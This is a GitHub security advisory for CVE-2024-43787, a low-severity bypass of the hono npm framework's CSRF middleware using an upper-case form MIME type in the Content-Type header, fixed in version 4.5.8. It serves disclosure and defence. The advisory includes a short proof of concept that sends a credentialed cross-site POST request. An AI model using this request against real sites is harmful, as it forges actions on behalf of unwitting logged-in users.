GitHub Advisoryadvisory · npm
GHSA-rpfr-3m35-5vx5 Hono CSRF middleware can be bypassed using crafted Content-Type header
LOW
Official page ↗
- Aliases
- CVE-2024-43787
- Ecosystem
- npm
- Packages
- hono
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
- Weaknesses
- CWE-352
- Reviewed
- 2024-08-22
Affected packages
• npm hono: < 4.5.8 → fixed in 4.5.8
Description
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.
https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
```html
CSRF Test
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
CSRF Test
Click me!
```
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
Related
Alias · CVE (1)
- CVE-2024-43787 Hono is a Web application framework that provides support for any JavaScript runtime. vulnerability
Weakness · CWE (1)
- CWE-352 Cross-Site Request Forgery weakness
References
- https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5 web
- https://nvd.nist.gov/vuln/detail/CVE-2024-43787 advisory
- https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449 web
- https://github.com/honojs/hono package
- https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17 web